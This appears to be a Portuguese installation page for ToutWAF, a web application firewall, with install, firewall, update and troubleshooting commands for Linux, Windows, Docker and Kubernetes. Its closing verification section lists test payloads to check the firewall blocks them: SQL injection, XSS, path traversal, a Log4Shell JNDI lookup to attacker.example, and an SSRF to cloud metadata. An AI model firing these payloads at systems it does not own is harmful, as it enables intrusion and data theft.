Instale o ToutWAF passo a passo
Procedimentos para copiar e colar em AlmaLinux 10, outras distribuições Linux, Windows, Docker e Kubernetes. Binários nativos: não é preciso instalar nenhum runtime. Depois execute o assistente, mude o DNS e verifique.
A versão que instala
A versão pública é uma versão de desenvolvimento, chamada 0.3.0-dev. O nome não muda: cada publicação substitui a anterior e um identificador de compilação distingue duas compilações. Ainda não existe nenhuma versão estável: só será publicada quando cada sistema e cada pacote tiverem sido testados de ponta a ponta. Por isso, os comandos desta página instalam a partir do canal dev. Uma versão de desenvolvimento pode conter erros: experimente-a num site de teste antes de depender dela.
Requisitos
Um servidor de 64 bits (amd64 ou arm64) com Linux ou Windows, acesso root ou de administrador e as portas 80 e 443 livres. A consola escuta na porta 9443, sob um caminho secreto. O detalhe dos requisitos e das dependências está logo abaixo.
Requisitos e dependências
O que o seu servidor precisa, o que o instalador acrescenta e o que é opcional.
Sistemas suportados
Linux com systemd 239 ou posterior e glibc 2.28 ou posterior, em amd64 ou arm64: AlmaLinux, Rocky Linux, RHEL e Oracle Linux 8 a 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 a 13, Ubuntu 20.04 a 26.04, openSUSE e Arch (tabela completa abaixo). Windows 10, 11 e Server 2016 a 2025 (ainda não executado num anfitrião Windows real). O instalador verifica o seu sistema antes de alterar o que quer que seja. Servidores que adiciona a partir da consola: o agente de anfitrião existe para Linux (amd64, arm64) e Windows (amd64).
Portas de rede
80 e 443: tráfego web (data plane). 9443: consola (alterável com --cp-port). 9444: API usada pelos nós data plane e pelos agentes de servidores; o instalador não a abre, permita-a apenas a partir dos seus servidores. 127.0.0.1:9101: ponto de saúde local. O UDP 443 permanece fechado (HTTP/3 não está implementado). Os agentes de servidores só fazem ligações de saída para a porta 9444.
O que faz o instalador
Requer direitos de root ou administrador e HTTPS de saída para descarregar a versão. Instala curl, tar e libcap se faltarem (e policycoreutils-python-utils em sistemas SELinux), cria um utilizador toutwaf sem privilégios e uma pasta de instalação única (/var/toutwaf com bin, conf, data e logs; --home DIR altera-a, e uma instalação anterior mantém os seus caminhos), instala serviços systemd reforçados (serviços do Windows no Windows), permite ao data plane usar as portas 80 e 443 sem root, abre o firewall por padrão quando o firewalld ou o ufw está ativo (80, 443 e a porta da console; --console-from restringe a console, --no-firewall desativa), etiqueta os ficheiros para SELinux e verifica as somas SHA-256.
Idioma do instalador
Inglês por predefinição; o instalador deteta o idioma do sistema. Force um com --fr --de --es --it --pt --nl --ru --zh --ar ou --en (Windows: -Fr, etc., ou a variável TOUTWAF_LANG).
Binários autónomos
O data plane é escrito em Rust, o control plane e o agente em Go, e a consola está integrada no control plane. Não é preciso instalar runtime de Python, Node.js ou Java nem servidor de base de dados: os dados ficam em SQLite. O data plane em Rust requer glibc 2.28 ou superior. Principais componentes de terceiros: tokio, hyper e rustls (Rust), Svelte e xterm.js (consola).
Componentes opcionais
ClamAV para as análises antivírus dos hosts Linux (a consola pode instalá-lo por si); Microsoft Defender no Windows. openssl apenas se ativar a verificação da assinatura das versões, e cosign apenas se quiser que verifique assinaturas. O Docker não é necessário: os manifestos Docker e Kubernetes são formas alternativas de implementação.
ToutPanel (servidor de alojamento web)
Instala-se a partir da consola por SSH, ou com o seu próprio instalador. Linux: Debian 11 a 13, Ubuntu 20.04 a 24.04, AlmaLinux, Rocky Linux e RHEL 9 e 10, Fedora 40 e posteriores. Windows 10 e 11, Windows Server 2016 a 2025. Requer root e bash (Linux) ou PowerShell 5.1+ como administrador (Windows), Python 3.9 a 3.14 (instalado pelo seu script quando a distribuição o fornece), pelo menos 1 GB de RAM (2 GB recomendados com MariaDB e PHP), 2 GB de disco livre mais os seus sites e HTTPS de saída. O seu painel escuta por predefinição na porta 8888; as portas 80 e 443 servem os sites. Fonte: o README do ToutPanel.
O ToutWAF ainda não publica valores mínimos de CPU, RAM ou disco: dimensione o seu servidor com um teste sobre o seu próprio tráfego.
Sistemas suportados
Verificados pelo instalador antes de alterar o que quer que seja. Os estados vêm dos dados do próprio instalador.
- tested O teste de instalação completo em contentor passou nessa versão exata.
- expected Mesma família, glibc e systemd suficientemente recentes, mas o teste completo não foi executado.
- unsupported Recusado antes de qualquer alteração (contornável por sua conta e risco com --skip-os-check).
| Distribuição | Versões |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | todas as versõesexpected |
| Pop!_OS | todas as versõesexpected |
| Zorin OS | todas as versõesexpected |
| elementary OS | todas as versõesexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | todas as versõesunsupported |
| Devuan | todas as versõesunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | todas as versõesunsupported |
| openSUSE MicroOS / Aeon / Kalpa | todas as versõesunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | todas as versõesunsupported |
| Alpine Linux | todas as versõesunsupported |
| Void Linux | todas as versõesunsupported |
| NixOS | todas as versõesunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
O assistente de configuração: de zero a um site protegido
No primeiro arranque, o assistente web leva-o de zero a um site protegido, em modo de deteção, sem estragar nada.
Domínio e origem
Introduza o domínio público e o endereço do seu servidor.
Certificado automático
Um certificado da autoridade que escolher (Let's Encrypt por predefinição) é pedido e renovado por si.
Deteção da stack
O ToutWAF reconhece WordPress, Laravel, Django e mais.
Modelo de política
É proposto um modelo adequado. Reveja-o ou mantenha o predefinido.
Modo de deteção
O tráfego é analisado sem bloquear durante alguns dias e depois é criado um relatório.
Passar a bloqueio
Um clique para aplicar, um clique para reverter.
- ✓99,8 % do tráfego seria permitido
- !3 regras causam 95 % dos falsos positivos
- ✓3 exceções propostas, prontas a rever
Atualize o sistema e instale os pré-requisitos
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstale com o instalador de uma linha
O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPrefere ler primeiro o script?
Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpções do instalador
Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devAbra a firewall
O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Mantenha o SELinux em modo enforcing. Etiquete as diretorias do ToutWAF e confirme que não é registada nenhuma negação AVC.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentGerir os serviços
Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifique os serviços
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAtualizar
Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeAtualize o sistema e instale os pré-requisitos
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstale com o instalador de uma linha
O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPrefere ler primeiro o script?
Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpções do instalador
Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devGerir os serviços
Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifique os serviços
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAtualizar
Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeInstale os pré-requisitos (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwInstale com o instalador de uma linha
O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPrefere ler primeiro o script?
Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpções do instalador
Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devAbra a firewall (ufw)
O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusGerir os serviços
Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifique os serviços
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAtualizar
Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeAbra o PowerShell como administrador e execute o instalador
Instala os binários nativos, regista o serviço Windows ToutWAF para o plano de dados e uma tarefa de arranque para a consola, e abre as portas da firewall. O instalador ainda não foi executado num anfitrião Windows real.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexAbra a firewall
O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowVerifique os serviços
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Atualizar
Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose em Mac ou Linux
Docker Compose em Linux ou num Mac (Docker Desktop, OrbStack, Colima), com a imagem tudo em um (plano de controlo e plano de dados). Os ficheiros vêm com a sua distribuição ToutWAF (a pasta deploy, que não está no repositório público, o qual só contém binários e instaladores). A imagem inclui binários pré-compilados por arquitetura (bin/amd64 ou bin/arm64) e ainda não é publicada nenhuma imagem num registo. Testada apenas em Linux amd64; não testada num Mac real, onde o IP de cliente visto atrás do Docker Desktop é o endereço do gateway do Docker. As credenciais de utilização única aparecem uma só vez no registo do plano de controlo.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpAtualizar (contentores)
Faça primeiro uma cópia de segurança. O botão de atualização da consola não pode funcionar num contentor: substitua os binários da pasta bin (ou a imagem, quando existir uma publicada) e reconstrua; os volumes, ou seja, os seus dados, são mantidos.
docker compose up -d --buildDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
docker compose downdocker compose down -vInstale com Helm
Implementa o plano de dados como ingress, com um plano de controlo no cluster se o desejar. O chart e os manifestos (modo sidecar incluído) estão na pasta deploy da sua distribuição ToutWAF, não no repositório público, que só contém binários e instaladores. O operador limita-se a CRD e a um esqueleto.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlVerifique os pods e abra a consola
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Atualizar (contentores)
Faça primeiro uma cópia de segurança. O botão de atualização da consola não pode funcionar num contentor: substitua os binários da pasta bin (ou a imagem, quando existir uma publicada) e reconstrua; os volumes, ou seja, os seus dados, são mantidos.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlDesinstalar
O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafApós a instalação: configure e verifique
Primeiro acesso
Abra a ligação secreta da consola apresentada no fim da instalação (a consola só responde sob esse caminho) e use a ligação de configuração de utilização única, ou a palavra-passe de administrador gerada uma única vez no resumo. Ative logo a autenticação de dois fatores e crie um segundo administrador para nunca ficar bloqueado.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Adicione o seu primeiro site
Em Sites, clique em Novo site e introduza o domínio público e o upstream (o endereço real do seu servidor). Comece em modo apenas deteção e passe a bloqueio quando o relatório estiver limpo. Pode também criar sites com a API REST e um token de API.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'Mude o DNS
Reduza o TTL dos seus registos no dia anterior. Depois aponte os registos A / AAAA do domínio para o servidor ToutWAF. Quando o DNS estiver propagado, o certificado é emitido. Restrinja a firewall da sua origem para que só o servidor ToutWAF a consiga alcançar.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpVerifique com ataques de teste
Cada um destes pedidos deve devolver 403 e aparecer em Ataques (em modo bloqueio). Execute-os apenas nos seus próprios sites.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Resolução de problemas
A consola não está acessível na porta 9443
Execute o Doutor ToutWAF no servidor: verifica os serviços, as portas e a firewall da máquina e diz o que fazer. Também funciona a partir da linha de comandos quando a própria consola está inacessível; o eventual grupo de segurança da cloud à frente do servidor tem também de deixar passar a porta 9443.
Pedidos legítimos são bloqueados (falsos positivos)
Abra o evento em Ataques, leia a explicação e clique no botão de falso positivo para criar a exceção mais restrita, ou reduza o nível de paranoia do site.
502 Bad Gateway
O ToutWAF não alcança a sua origem. Abra o Doutor ToutWAF, linha «Servidor de origem»: diz se a porta recusa a ligação, se o nome não se resolve ou se o certificado não é de confiança, e o que fazer. Verifique também a firewall da origem.
A emissão do Let's Encrypt falha
O Doutor ToutWAF verifica o DNS (incluindo um registo AAAA esquecido num CDN ou proxy) e a acessibilidade da porta 80 antes de um pedido. Para um certificado wildcard use o desafio DNS-01.
O IP real do cliente está errado na minha aplicação
Leia o cabeçalho X-Forwarded-For definido pelo ToutWAF e confie nele apenas se vier do endereço do servidor ToutWAF.
Onde estão os registos?
Use as páginas Registos e Eventos da consola. Os serviços escrevem também no diário do sistema da máquina, e o Doutor produz um relatório de texto que pode enviar ao suporte.